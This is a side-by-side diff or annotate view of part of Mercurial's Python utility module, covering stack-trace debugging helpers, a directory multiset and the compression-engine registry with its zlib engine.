2966 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): |
|
2973 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): | |
2967 | '''Yields lines for a nicely formatted stacktrace. |
|
2974 | '''Yields lines for a nicely formatted stacktrace. | |
2968 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
2975 | Skips the 'skip' last entries, then return the last 'depth' entries. | |
2969 | Each file+linenumber is formatted according to fileline. |
|
2976 | Each file+linenumber is formatted according to fileline. | |
2970 | Each line is formatted according to line. |
|
2977 | Each line is formatted according to line. | |
2971 | If line is None, it yields: |
|
2978 | If line is None, it yields: | |
2972 | length of longest filepath+line number, |
|
2979 | length of longest filepath+line number, | |
2973 | filepath+linenumber, |
|
2980 | filepath+linenumber, | |
2974 | function |
|
2981 | function | |
2975 |
|
2982 | |||
2976 | Not be used in production code but very convenient while developing. |
|
2983 | Not be used in production code but very convenient while developing. | |
2977 | ''' |
|
2984 | ''' | |
2978 | entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
|
2985 | entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) | |
2979 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
|
2986 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] | |
2980 | ][-depth:] |
|
2987 | ][-depth:] | |
2981 | if entries: |
|
2988 | if entries: | |
2982 | fnmax = max(len(entry[0]) for entry in entries) |
|
2989 | fnmax = max(len(entry[0]) for entry in entries) | |
2983 | for fnln, func in entries: |
|
2990 | for fnln, func in entries: | |
2984 | if line is None: |
|
2991 | if line is None: | |
2985 | yield (fnmax, fnln, func) |
|
2992 | yield (fnmax, fnln, func) | |
2986 | else: |
|
2993 | else: | |
2987 | yield line % (fnmax, fnln, func) |
|
2994 | yield line % (fnmax, fnln, func) | |
2988 |
|
2995 | |||
2989 | def debugstacktrace(msg='stacktrace', skip=0, |
|
2996 | def debugstacktrace(msg='stacktrace', skip=0, | |
2990 | f=procutil.stderr, otherf=procutil.stdout, depth=0): |
|
2997 | f=procutil.stderr, otherf=procutil.stdout, depth=0): | |
2991 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
2998 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. | |
2992 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
2999 | Skips the 'skip' entries closest to the call, then show 'depth' entries. | |
2993 | By default it will flush stdout first. |
|
3000 | By default it will flush stdout first. | |
2994 | It can be used everywhere and intentionally does not require an ui object. |
|
3001 | It can be used everywhere and intentionally does not require an ui object. | |
2995 | Not be used in production code but very convenient while developing. |
|
3002 | Not be used in production code but very convenient while developing. | |
2996 | ''' |
|
3003 | ''' | |
2997 | if otherf: |
|
3004 | if otherf: | |
2998 | otherf.flush() |
|
3005 | otherf.flush() | |
2999 | f.write('%s at:\n' % msg.rstrip()) |
|
3006 | f.write('%s at:\n' % msg.rstrip()) | |
3000 | for line in getstackframes(skip + 1, depth=depth): |
|
3007 | for line in getstackframes(skip + 1, depth=depth): | |
3001 | f.write(line) |
|
3008 | f.write(line) | |
3002 | f.flush() |
|
3009 | f.flush() | |
3003 |
|
3010 | |||
3004 | class dirs(object): |
|
3011 | class dirs(object): | |
3005 | '''a multiset of directory names from a dirstate or manifest''' |
|
3012 | '''a multiset of directory names from a dirstate or manifest''' | |
3006 |
|
3013 | |||
3007 | def __init__(self, map, skip=None): |
|
3014 | def __init__(self, map, skip=None): | |
3008 | self._dirs = {} |
|
3015 | self._dirs = {} | |
3009 | addpath = self.addpath |
|
3016 | addpath = self.addpath | |
3010 | if safehasattr(map, 'iteritems') and skip is not None: |
|
3017 | if safehasattr(map, 'iteritems') and skip is not None: | |
3011 | for f, s in map.iteritems(): |
|
3018 | for f, s in map.iteritems(): | |
3012 | if s[0] != skip: |
|
3019 | if s[0] != skip: | |
3013 | addpath(f) |
|
3020 | addpath(f) | |
3014 | else: |
|
3021 | else: | |
3015 | for f in map: |
|
3022 | for f in map: | |
3016 | addpath(f) |
|
3023 | addpath(f) | |
3017 |
|
3024 | |||
3018 | def addpath(self, path): |
|
3025 | def addpath(self, path): | |
3019 | dirs = self._dirs |
|
3026 | dirs = self._dirs | |
3020 | for base in finddirs(path): |
|
3027 | for base in finddirs(path): | |
3021 | if base in dirs: |
|
3028 | if base in dirs: | |
3022 | dirs[base] += 1 |
|
3029 | dirs[base] += 1 | |
3023 | return |
|
3030 | return | |
3024 | dirs[base] = 1 |
|
3031 | dirs[base] = 1 | |
3025 |
|
3032 | |||
3026 | def delpath(self, path): |
|
3033 | def delpath(self, path): | |
3027 | dirs = self._dirs |
|
3034 | dirs = self._dirs | |
3028 | for base in finddirs(path): |
|
3035 | for base in finddirs(path): | |
3029 | if dirs[base] > 1: |
|
3036 | if dirs[base] > 1: | |
3030 | dirs[base] -= 1 |
|
3037 | dirs[base] -= 1 | |
3031 | return |
|
3038 | return | |
3032 | del dirs[base] |
|
3039 | del dirs[base] | |
3033 |
|
3040 | |||
3034 | def __iter__(self): |
|
3041 | def __iter__(self): | |
3035 | return iter(self._dirs) |
|
3042 | return iter(self._dirs) | |
3036 |
|
3043 | |||
3037 | def __contains__(self, d): |
|
3044 | def __contains__(self, d): | |
3038 | return d in self._dirs |
|
3045 | return d in self._dirs | |
3039 |
|
3046 | |||
3040 | if safehasattr(parsers, 'dirs'): |
|
3047 | if safehasattr(parsers, 'dirs'): | |
3041 | dirs = parsers.dirs |
|
3048 | dirs = parsers.dirs | |
3042 |
|
3049 | |||
3043 | def finddirs(path): |
|
3050 | def finddirs(path): | |
3044 | pos = path.rfind('/') |
|
3051 | pos = path.rfind('/') | |
3045 | while pos != -1: |
|
3052 | while pos != -1: | |
3046 | yield path[:pos] |
|
3053 | yield path[:pos] | |
3047 | pos = path.rfind('/', 0, pos) |
|
3054 | pos = path.rfind('/', 0, pos) | |
3048 |
|
3055 | |||
3049 | # compression code |
|
3056 | # compression code | |
3050 |
|
3057 | |||
3051 | SERVERROLE = 'server' |
|
3058 | SERVERROLE = 'server' | |
3052 | CLIENTROLE = 'client' |
|
3059 | CLIENTROLE = 'client' | |
3053 |
|
3060 | |||
3054 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
|
3061 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', | |
3055 | (u'name', u'serverpriority', |
|
3062 | (u'name', u'serverpriority', | |
3056 | u'clientpriority')) |
|
3063 | u'clientpriority')) | |
3057 |
|
3064 | |||
3058 | class compressormanager(object): |
|
3065 | class compressormanager(object): | |
3059 | """Holds registrations of various compression engines. |
|
3066 | """Holds registrations of various compression engines. | |
3060 |
|
3067 | |||
3061 | This class essentially abstracts the differences between compression |
|
3068 | This class essentially abstracts the differences between compression | |
3062 | engines to allow new compression formats to be added easily, possibly from |
|
3069 | engines to allow new compression formats to be added easily, possibly from | |
3063 | extensions. |
|
3070 | extensions. | |
3064 |
|
3071 | |||
3065 | Compressors are registered against the global instance by calling its |
|
3072 | Compressors are registered against the global instance by calling its | |
3066 | ``register()`` method. |
|
3073 | ``register()`` method. | |
3067 | """ |
|
3074 | """ | |
3068 | def __init__(self): |
|
3075 | def __init__(self): | |
3069 | self._engines = {} |
|
3076 | self._engines = {} | |
3070 | # Bundle spec human name to engine name. |
|
3077 | # Bundle spec human name to engine name. | |
3071 | self._bundlenames = {} |
|
3078 | self._bundlenames = {} | |
3072 | # Internal bundle identifier to engine name. |
|
3079 | # Internal bundle identifier to engine name. | |
3073 | self._bundletypes = {} |
|
3080 | self._bundletypes = {} | |
3074 | # Revlog header to engine name. |
|
3081 | # Revlog header to engine name. | |
3075 | self._revlogheaders = {} |
|
3082 | self._revlogheaders = {} | |
3076 | # Wire proto identifier to engine name. |
|
3083 | # Wire proto identifier to engine name. | |
3077 | self._wiretypes = {} |
|
3084 | self._wiretypes = {} | |
3078 |
|
3085 | |||
3079 | def __getitem__(self, key): |
|
3086 | def __getitem__(self, key): | |
3080 | return self._engines[key] |
|
3087 | return self._engines[key] | |
3081 |
|
3088 | |||
3082 | def __contains__(self, key): |
|
3089 | def __contains__(self, key): | |
3083 | return key in self._engines |
|
3090 | return key in self._engines | |
3084 |
|
3091 | |||
3085 | def __iter__(self): |
|
3092 | def __iter__(self): | |
3086 | return iter(self._engines.keys()) |
|
3093 | return iter(self._engines.keys()) | |
3087 |
|
3094 | |||
3088 | def register(self, engine): |
|
3095 | def register(self, engine): | |
3089 | """Register a compression engine with the manager. |
|
3096 | """Register a compression engine with the manager. | |
3090 |
|
3097 | |||
3091 | The argument must be a ``compressionengine`` instance. |
|
3098 | The argument must be a ``compressionengine`` instance. | |
3092 | """ |
|
3099 | """ | |
3093 | if not isinstance(engine, compressionengine): |
|
3100 | if not isinstance(engine, compressionengine): | |
3094 | raise ValueError(_('argument must be a compressionengine')) |
|
3101 | raise ValueError(_('argument must be a compressionengine')) | |
3095 |
|
3102 | |||
3096 | name = engine.name() |
|
3103 | name = engine.name() | |
3097 |
|
3104 | |||
3098 | if name in self._engines: |
|
3105 | if name in self._engines: | |
3099 | raise error.Abort(_('compression engine %s already registered') % |
|
3106 | raise error.Abort(_('compression engine %s already registered') % | |
3100 | name) |
|
3107 | name) | |
3101 |
|
3108 | |||
3102 | bundleinfo = engine.bundletype() |
|
3109 | bundleinfo = engine.bundletype() | |
3103 | if bundleinfo: |
|
3110 | if bundleinfo: | |
3104 | bundlename, bundletype = bundleinfo |
|
3111 | bundlename, bundletype = bundleinfo | |
3105 |
|
3112 | |||
3106 | if bundlename in self._bundlenames: |
|
3113 | if bundlename in self._bundlenames: | |
3107 | raise error.Abort(_('bundle name %s already registered') % |
|
3114 | raise error.Abort(_('bundle name %s already registered') % | |
3108 | bundlename) |
|
3115 | bundlename) | |
3109 | if bundletype in self._bundletypes: |
|
3116 | if bundletype in self._bundletypes: | |
3110 | raise error.Abort(_('bundle type %s already registered by %s') % |
|
3117 | raise error.Abort(_('bundle type %s already registered by %s') % | |
3111 | (bundletype, self._bundletypes[bundletype])) |
|
3118 | (bundletype, self._bundletypes[bundletype])) | |
3112 |
|
3119 | |||
3113 | # No external facing name declared. |
|
3120 | # No external facing name declared. | |
3114 | if bundlename: |
|
3121 | if bundlename: | |
3115 | self._bundlenames[bundlename] = name |
|
3122 | self._bundlenames[bundlename] = name | |
3116 |
|
3123 | |||
3117 | self._bundletypes[bundletype] = name |
|
3124 | self._bundletypes[bundletype] = name | |
3118 |
|
3125 | |||
3119 | wiresupport = engine.wireprotosupport() |
|
3126 | wiresupport = engine.wireprotosupport() | |
3120 | if wiresupport: |
|
3127 | if wiresupport: | |
3121 | wiretype = wiresupport.name |
|
3128 | wiretype = wiresupport.name | |
3122 | if wiretype in self._wiretypes: |
|
3129 | if wiretype in self._wiretypes: | |
3123 | raise error.Abort(_('wire protocol compression %s already ' |
|
3130 | raise error.Abort(_('wire protocol compression %s already ' | |
3124 | 'registered by %s') % |
|
3131 | 'registered by %s') % | |
3125 | (wiretype, self._wiretypes[wiretype])) |
|
3132 | (wiretype, self._wiretypes[wiretype])) | |
3126 |
|
3133 | |||
3127 | self._wiretypes[wiretype] = name |
|
3134 | self._wiretypes[wiretype] = name | |
3128 |
|
3135 | |||
3129 | revlogheader = engine.revlogheader() |
|
3136 | revlogheader = engine.revlogheader() | |
3130 | if revlogheader and revlogheader in self._revlogheaders: |
|
3137 | if revlogheader and revlogheader in self._revlogheaders: | |
3131 | raise error.Abort(_('revlog header %s already registered by %s') % |
|
3138 | raise error.Abort(_('revlog header %s already registered by %s') % | |
3132 | (revlogheader, self._revlogheaders[revlogheader])) |
|
3139 | (revlogheader, self._revlogheaders[revlogheader])) | |
3133 |
|
3140 | |||
3134 | if revlogheader: |
|
3141 | if revlogheader: | |
3135 | self._revlogheaders[revlogheader] = name |
|
3142 | self._revlogheaders[revlogheader] = name | |
3136 |
|
3143 | |||
3137 | self._engines[name] = engine |
|
3144 | self._engines[name] = engine | |
3138 |
|
3145 | |||
3139 | @property |
|
3146 | @property | |
3140 | def supportedbundlenames(self): |
|
3147 | def supportedbundlenames(self): | |
3141 | return set(self._bundlenames.keys()) |
|
3148 | return set(self._bundlenames.keys()) | |
3142 |
|
3149 | |||
3143 | @property |
|
3150 | @property | |
3144 | def supportedbundletypes(self): |
|
3151 | def supportedbundletypes(self): | |
3145 | return set(self._bundletypes.keys()) |
|
3152 | return set(self._bundletypes.keys()) | |
3146 |
|
3153 | |||
3147 | def forbundlename(self, bundlename): |
|
3154 | def forbundlename(self, bundlename): | |
3148 | """Obtain a compression engine registered to a bundle name. |
|
3155 | """Obtain a compression engine registered to a bundle name. | |
3149 |
|
3156 | |||
3150 | Will raise KeyError if the bundle type isn't registered. |
|
3157 | Will raise KeyError if the bundle type isn't registered. | |
3151 |
|
3158 | |||
3152 | Will abort if the engine is known but not available. |
|
3159 | Will abort if the engine is known but not available. | |
3153 | """ |
|
3160 | """ | |
3154 | engine = self._engines[self._bundlenames[bundlename]] |
|
3161 | engine = self._engines[self._bundlenames[bundlename]] | |
3155 | if not engine.available(): |
|
3162 | if not engine.available(): | |
3156 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3163 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3157 | engine.name()) |
|
3164 | engine.name()) | |
3158 | return engine |
|
3165 | return engine | |
3159 |
|
3166 | |||
3160 | def forbundletype(self, bundletype): |
|
3167 | def forbundletype(self, bundletype): | |
3161 | """Obtain a compression engine registered to a bundle type. |
|
3168 | """Obtain a compression engine registered to a bundle type. | |
3162 |
|
3169 | |||
3163 | Will raise KeyError if the bundle type isn't registered. |
|
3170 | Will raise KeyError if the bundle type isn't registered. | |
3164 |
|
3171 | |||
3165 | Will abort if the engine is known but not available. |
|
3172 | Will abort if the engine is known but not available. | |
3166 | """ |
|
3173 | """ | |
3167 | engine = self._engines[self._bundletypes[bundletype]] |
|
3174 | engine = self._engines[self._bundletypes[bundletype]] | |
3168 | if not engine.available(): |
|
3175 | if not engine.available(): | |
3169 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3176 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3170 | engine.name()) |
|
3177 | engine.name()) | |
3171 | return engine |
|
3178 | return engine | |
3172 |
|
3179 | |||
3173 | def supportedwireengines(self, role, onlyavailable=True): |
|
3180 | def supportedwireengines(self, role, onlyavailable=True): | |
3174 | """Obtain compression engines that support the wire protocol. |
|
3181 | """Obtain compression engines that support the wire protocol. | |
3175 |
|
3182 | |||
3176 | Returns a list of engines in prioritized order, most desired first. |
|
3183 | Returns a list of engines in prioritized order, most desired first. | |
3177 |
|
3184 | |||
3178 | If ``onlyavailable`` is set, filter out engines that can't be |
|
3185 | If ``onlyavailable`` is set, filter out engines that can't be | |
3179 | loaded. |
|
3186 | loaded. | |
3180 | """ |
|
3187 | """ | |
3181 | assert role in (SERVERROLE, CLIENTROLE) |
|
3188 | assert role in (SERVERROLE, CLIENTROLE) | |
3182 |
|
3189 | |||
3183 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
|
3190 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' | |
3184 |
|
3191 | |||
3185 | engines = [self._engines[e] for e in self._wiretypes.values()] |
|
3192 | engines = [self._engines[e] for e in self._wiretypes.values()] | |
3186 | if onlyavailable: |
|
3193 | if onlyavailable: | |
3187 | engines = [e for e in engines if e.available()] |
|
3194 | engines = [e for e in engines if e.available()] | |
3188 |
|
3195 | |||
3189 | def getkey(e): |
|
3196 | def getkey(e): | |
3190 | # Sort first by priority, highest first. In case of tie, sort |
|
3197 | # Sort first by priority, highest first. In case of tie, sort | |
3191 | # alphabetically. This is arbitrary, but ensures output is |
|
3198 | # alphabetically. This is arbitrary, but ensures output is | |
3192 | # stable. |
|
3199 | # stable. | |
3193 | w = e.wireprotosupport() |
|
3200 | w = e.wireprotosupport() | |
3194 | return -1 * getattr(w, attr), w.name |
|
3201 | return -1 * getattr(w, attr), w.name | |
3195 |
|
3202 | |||
3196 | return list(sorted(engines, key=getkey)) |
|
3203 | return list(sorted(engines, key=getkey)) | |
3197 |
|
3204 | |||
3198 | def forwiretype(self, wiretype): |
|
3205 | def forwiretype(self, wiretype): | |
3199 | engine = self._engines[self._wiretypes[wiretype]] |
|
3206 | engine = self._engines[self._wiretypes[wiretype]] | |
3200 | if not engine.available(): |
|
3207 | if not engine.available(): | |
3201 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3208 | raise error.Abort(_('compression engine %s could not be loaded') % | |
3202 | engine.name()) |
|
3209 | engine.name()) | |
3203 | return engine |
|
3210 | return engine | |
3204 |
|
3211 | |||
3205 | def forrevlogheader(self, header): |
|
3212 | def forrevlogheader(self, header): | |
3206 | """Obtain a compression engine registered to a revlog header. |
|
3213 | """Obtain a compression engine registered to a revlog header. | |
3207 |
|
3214 | |||
3208 | Will raise KeyError if the revlog header value isn't registered. |
|
3215 | Will raise KeyError if the revlog header value isn't registered. | |
3209 | """ |
|
3216 | """ | |
3210 | return self._engines[self._revlogheaders[header]] |
|
3217 | return self._engines[self._revlogheaders[header]] | |
3211 |
|
3218 | |||
3212 | compengines = compressormanager() |
|
3219 | compengines = compressormanager() | |
3213 |
|
3220 | |||
3214 | class compressionengine(object): |
|
3221 | class compressionengine(object): | |
3215 | """Base class for compression engines. |
|
3222 | """Base class for compression engines. | |
3216 |
|
3223 | |||
3217 | Compression engines must implement the interface defined by this class. |
|
3224 | Compression engines must implement the interface defined by this class. | |
3218 | """ |
|
3225 | """ | |
3219 | def name(self): |
|
3226 | def name(self): | |
3220 | """Returns the name of the compression engine. |
|
3227 | """Returns the name of the compression engine. | |
3221 |
|
3228 | |||
3222 | This is the key the engine is registered under. |
|
3229 | This is the key the engine is registered under. | |
3223 |
|
3230 | |||
3224 | This method must be implemented. |
|
3231 | This method must be implemented. | |
3225 | """ |
|
3232 | """ | |
3226 | raise NotImplementedError() |
|
3233 | raise NotImplementedError() | |
3227 |
|
3234 | |||
3228 | def available(self): |
|
3235 | def available(self): | |
3229 | """Whether the compression engine is available. |
|
3236 | """Whether the compression engine is available. | |
3230 |
|
3237 | |||
3231 | The intent of this method is to allow optional compression engines |
|
3238 | The intent of this method is to allow optional compression engines | |
3232 | that may not be available in all installations (such as engines relying |
|
3239 | that may not be available in all installations (such as engines relying | |
3233 | on C extensions that may not be present). |
|
3240 | on C extensions that may not be present). | |
3234 | """ |
|
3241 | """ | |
3235 | return True |
|
3242 | return True | |
3236 |
|
3243 | |||
3237 | def bundletype(self): |
|
3244 | def bundletype(self): | |
3238 | """Describes bundle identifiers for this engine. |
|
3245 | """Describes bundle identifiers for this engine. | |
3239 |
|
3246 | |||
3240 | If this compression engine isn't supported for bundles, returns None. |
|
3247 | If this compression engine isn't supported for bundles, returns None. | |
3241 |
|
3248 | |||
3242 | If this engine can be used for bundles, returns a 2-tuple of strings of |
|
3249 | If this engine can be used for bundles, returns a 2-tuple of strings of | |
3243 | the user-facing "bundle spec" compression name and an internal |
|
3250 | the user-facing "bundle spec" compression name and an internal | |
3244 | identifier used to denote the compression format within bundles. To |
|
3251 | identifier used to denote the compression format within bundles. To | |
3245 | exclude the name from external usage, set the first element to ``None``. |
|
3252 | exclude the name from external usage, set the first element to ``None``. | |
3246 |
|
3253 | |||
3247 | If bundle compression is supported, the class must also implement |
|
3254 | If bundle compression is supported, the class must also implement | |
3248 | ``compressstream`` and `decompressorreader``. |
|
3255 | ``compressstream`` and `decompressorreader``. | |
3249 |
|
3256 | |||
3250 | The docstring of this method is used in the help system to tell users |
|
3257 | The docstring of this method is used in the help system to tell users | |
3251 | about this engine. |
|
3258 | about this engine. | |
3252 | """ |
|
3259 | """ | |
3253 | return None |
|
3260 | return None | |
3254 |
|
3261 | |||
3255 | def wireprotosupport(self): |
|
3262 | def wireprotosupport(self): | |
3256 | """Declare support for this compression format on the wire protocol. |
|
3263 | """Declare support for this compression format on the wire protocol. | |
3257 |
|
3264 | |||
3258 | If this compression engine isn't supported for compressing wire |
|
3265 | If this compression engine isn't supported for compressing wire | |
3259 | protocol payloads, returns None. |
|
3266 | protocol payloads, returns None. | |
3260 |
|
3267 | |||
3261 | Otherwise, returns ``compenginewireprotosupport`` with the following |
|
3268 | Otherwise, returns ``compenginewireprotosupport`` with the following | |
3262 | fields: |
|
3269 | fields: | |
3263 |
|
3270 | |||
3264 | * String format identifier |
|
3271 | * String format identifier | |
3265 | * Integer priority for the server |
|
3272 | * Integer priority for the server | |
3266 | * Integer priority for the client |
|
3273 | * Integer priority for the client | |
3267 |
|
3274 | |||
3268 | The integer priorities are used to order the advertisement of format |
|
3275 | The integer priorities are used to order the advertisement of format | |
3269 | support by server and client. The highest integer is advertised |
|
3276 | support by server and client. The highest integer is advertised | |
3270 | first. Integers with non-positive values aren't advertised. |
|
3277 | first. Integers with non-positive values aren't advertised. | |
3271 |
|
3278 | |||
3272 | The priority values are somewhat arbitrary and only used for default |
|
3279 | The priority values are somewhat arbitrary and only used for default | |
3273 | ordering. The relative order can be changed via config options. |
|
3280 | ordering. The relative order can be changed via config options. | |
3274 |
|
3281 | |||
3275 | If wire protocol compression is supported, the class must also implement |
|
3282 | If wire protocol compression is supported, the class must also implement | |
3276 | ``compressstream`` and ``decompressorreader``. |
|
3283 | ``compressstream`` and ``decompressorreader``. | |
3277 | """ |
|
3284 | """ | |
3278 | return None |
|
3285 | return None | |
3279 |
|
3286 | |||
3280 | def revlogheader(self): |
|
3287 | def revlogheader(self): | |
3281 | """Header added to revlog chunks that identifies this engine. |
|
3288 | """Header added to revlog chunks that identifies this engine. | |
3282 |
|
3289 | |||
3283 | If this engine can be used to compress revlogs, this method should |
|
3290 | If this engine can be used to compress revlogs, this method should | |
3284 | return the bytes used to identify chunks compressed with this engine. |
|
3291 | return the bytes used to identify chunks compressed with this engine. | |
3285 | Else, the method should return ``None`` to indicate it does not |
|
3292 | Else, the method should return ``None`` to indicate it does not | |
3286 | participate in revlog compression. |
|
3293 | participate in revlog compression. | |
3287 | """ |
|
3294 | """ | |
3288 | return None |
|
3295 | return None | |
3289 |
|
3296 | |||
3290 | def compressstream(self, it, opts=None): |
|
3297 | def compressstream(self, it, opts=None): | |
3291 | """Compress an iterator of chunks. |
|
3298 | """Compress an iterator of chunks. | |
3292 |
|
3299 | |||
3293 | The method receives an iterator (ideally a generator) of chunks of |
|
3300 | The method receives an iterator (ideally a generator) of chunks of | |
3294 | bytes to be compressed. It returns an iterator (ideally a generator) |
|
3301 | bytes to be compressed. It returns an iterator (ideally a generator) | |
3295 | of bytes of chunks representing the compressed output. |
|
3302 | of bytes of chunks representing the compressed output. | |
3296 |
|
3303 | |||
3297 | Optionally accepts an argument defining how to perform compression. |
|
3304 | Optionally accepts an argument defining how to perform compression. | |
3298 | Each engine treats this argument differently. |
|
3305 | Each engine treats this argument differently. | |
3299 | """ |
|
3306 | """ | |
3300 | raise NotImplementedError() |
|
3307 | raise NotImplementedError() | |
3301 |
|
3308 | |||
3302 | def decompressorreader(self, fh): |
|
3309 | def decompressorreader(self, fh): | |
3303 | """Perform decompression on a file object. |
|
3310 | """Perform decompression on a file object. | |
3304 |
|
3311 | |||
3305 | Argument is an object with a ``read(size)`` method that returns |
|
3312 | Argument is an object with a ``read(size)`` method that returns | |
3306 | compressed data. Return value is an object with a ``read(size)`` that |
|
3313 | compressed data. Return value is an object with a ``read(size)`` that | |
3307 | returns uncompressed data. |
|
3314 | returns uncompressed data. | |
3308 | """ |
|
3315 | """ | |
3309 | raise NotImplementedError() |
|
3316 | raise NotImplementedError() | |
3310 |
|
3317 | |||
3311 | def revlogcompressor(self, opts=None): |
|
3318 | def revlogcompressor(self, opts=None): | |
3312 | """Obtain an object that can be used to compress revlog entries. |
|
3319 | """Obtain an object that can be used to compress revlog entries. | |
3313 |
|
3320 | |||
3314 | The object has a ``compress(data)`` method that compresses binary |
|
3321 | The object has a ``compress(data)`` method that compresses binary | |
3315 | data. This method returns compressed binary data or ``None`` if |
|
3322 | data. This method returns compressed binary data or ``None`` if | |
3316 | the data could not be compressed (too small, not compressible, etc). |
|
3323 | the data could not be compressed (too small, not compressible, etc). | |
3317 | The returned data should have a header uniquely identifying this |
|
3324 | The returned data should have a header uniquely identifying this | |
3318 | compression format so decompression can be routed to this engine. |
|
3325 | compression format so decompression can be routed to this engine. | |
3319 | This header should be identified by the ``revlogheader()`` return |
|
3326 | This header should be identified by the ``revlogheader()`` return | |
3320 | value. |
|
3327 | value. | |
3321 |
|
3328 | |||
3322 | The object has a ``decompress(data)`` method that decompresses |
|
3329 | The object has a ``decompress(data)`` method that decompresses | |
3323 | data. The method will only be called if ``data`` begins with |
|
3330 | data. The method will only be called if ``data`` begins with | |
3324 | ``revlogheader()``. The method should return the raw, uncompressed |
|
3331 | ``revlogheader()``. The method should return the raw, uncompressed | |
3325 | data or raise a ``RevlogError``. |
|
3332 | data or raise a ``RevlogError``. | |
3326 |
|
3333 | |||
3327 | The object is reusable but is not thread safe. |
|
3334 | The object is reusable but is not thread safe. | |
3328 | """ |
|
3335 | """ | |
3329 | raise NotImplementedError() |
|
3336 | raise NotImplementedError() | |
3330 |
|
3337 | |||
3331 | class _zlibengine(compressionengine): |
|
3338 | class _zlibengine(compressionengine): | |
3332 | def name(self): |
|
3339 | def name(self): | |
3333 | return 'zlib' |
|
3340 | return 'zlib' | |
3334 |
|
3341 | |||
3335 | def bundletype(self): |
|
3342 | def bundletype(self): | |
3336 | """zlib compression using the DEFLATE algorithm. |
|
3343 | """zlib compression using the DEFLATE algorithm. | |
3337 |
|
3344 | |||
3338 | All Mercurial clients should support this format. The compression |
|
3345 | All Mercurial clients should support this format. The compression | |
3339 | algorithm strikes a reasonable balance between compression ratio |
|
3346 | algorithm strikes a reasonable balance between compression ratio | |
3340 | and size. |
|
3347 | and size. | |
3341 | """ |
|
3348 | """ | |
3342 | return 'gzip', 'GZ' |
|
3349 | return 'gzip', 'GZ' | |
3343 |
|
3350 | |||
3344 | def wireprotosupport(self): |
|
3351 | def wireprotosupport(self): | |
3345 | return compewireprotosupport('zlib', 20, 20) |
|
3352 | return compewireprotosupport('zlib', 20, 20) | |
3346 |
|
3353 | |||
3347 | def revlogheader(self): |
|
3354 | def revlogheader(self): | |
3348 | return 'x' |
|
3355 | return 'x' | |
3349 |
|
3356 | |||
3350 | def compressstream(self, it, opts=None): |
|
3357 | def compressstream(self, it, opts=None): | |
3351 | opts = opts or {} |
|
3358 | opts = opts or {} | |
3352 |
|
3359 | |||
3353 | z = zlib.compressobj(opts.get('level', -1)) |
|
3360 | z = zlib.compressobj(opts.get('level', -1)) | |
3354 | for chunk in it: |
|
3361 | for chunk in it: | |
3355 | data = z.compress(chunk) |
|
3362 | data = z.compress(chunk) | |
3356 | # Not all calls to compress emit data. It is cheaper to inspect |
|
3363 | # Not all calls to compress emit data. It is cheaper to inspect | |
3357 | # here than to feed empty chunks through generator. |
|
3364 | # here than to feed empty chunks through generator. | |
3358 | if data: |
|
3365 | if data: | |
3359 | yield data |
|
3366 | yield data | |
3360 |
|
3367 | |||
3361 | yield z.flush() |
|
3368 | yield z.flush() | |
3362 |
|
3369 | |||
3363 | def decompressorreader(self, fh): |
|
3370 | def decompressorreader(self, fh): | |
3364 | def gen(): |
|
3371 | def gen(): | |
3365 | d = zlib.decompressobj() |
|
3372 | d = zlib.decompressobj() | |
3366 | for chunk in filechunkiter(fh): |
|
3373 | for chunk in filechunkiter(fh): | |
3367 | while chunk: |
|
3374 | while chunk: | |
3368 | # Limit output size to limit memory. |
|
3375 | # Limit output size to limit memory. | |
3369 | yield d.decompress(chunk, 2 ** 18) |
|
3376 | yield d.decompress(chunk, 2 ** 18) | |
3370 | chunk = d.unconsumed_tail |
|
3377 | chunk = d.unconsumed_tail | |
3371 |
|
3378 | |||
3372 | return chunkbuffer(gen()) |
|
3379 | return chunkbuffer(gen()) | |
3373 |
|
3380 | |||
3374 | class zlibrevlogcompressor(object): |
|
3381 | class zlibrevlogcompressor(object): | |
3375 | def compress(self, data): |
|
3382 | def compress(self, data): | |
3376 | insize = len(data) |
|
3383 | insize = len(data) | |
3377 | # Caller handles empty input case. |
|
3384 | # Caller handles empty input case. | |
3378 | assert insize > 0 |
|
3385 | assert insize > 0 | |
3379 |
|
3386 | |||
3380 | if insize < 44: |
|
3387 | if insize < 44: | |
3381 | return None |
|
3388 | return None | |
3382 |
|
3389 | |||
3383 | elif insize <= 1000000: |
|
3390 | elif insize <= 1000000: | |
3384 | compressed = zlib.compress(data) |
|
3391 | compressed = zlib.compress(data) | |
3385 | if len(compressed) < insize: |
|
3392 | if len(compressed) < insize: | |
3386 | return compressed |
|
3393 | return compressed | |
3387 | return None |
|
3394 | return None | |
3388 |
|
3395 | |||
3389 | # zlib makes an internal copy of the input buffer, doubling |
|
3396 | # zlib makes an internal copy of the input buffer, doubling | |
3390 | # memory usage for large inputs. So do streaming compression |
|
3397 | # memory usage for large inputs. So do streaming compression | |
3391 | # on large inputs. |
|
3398 | # on large inputs. | |
3392 | else: |
|
3399 | else: | |
3393 | z = zlib.compressobj() |
|
3400 | z = zlib.compressobj() | |
3394 | parts = [] |
|
3401 | parts = [] | |
3395 | pos = 0 |
|
3402 | pos = 0 | |
3396 | while pos < insize: |
|
3403 | while pos < insize: | |
3397 | pos2 = pos + 2**20 |
|
3404 | pos2 = pos + 2**20 | |
3398 | parts.append(z.compress(data[pos:pos2])) |
|
3405 | parts.append(z.compress(data[pos:pos2])) | |
3399 | pos = pos2 |
|
3406 | pos = pos2 | |
3400 | parts.append(z.flush()) |
|
3407 | parts.append(z.flush()) | |
3401 |
|
3408 | |||
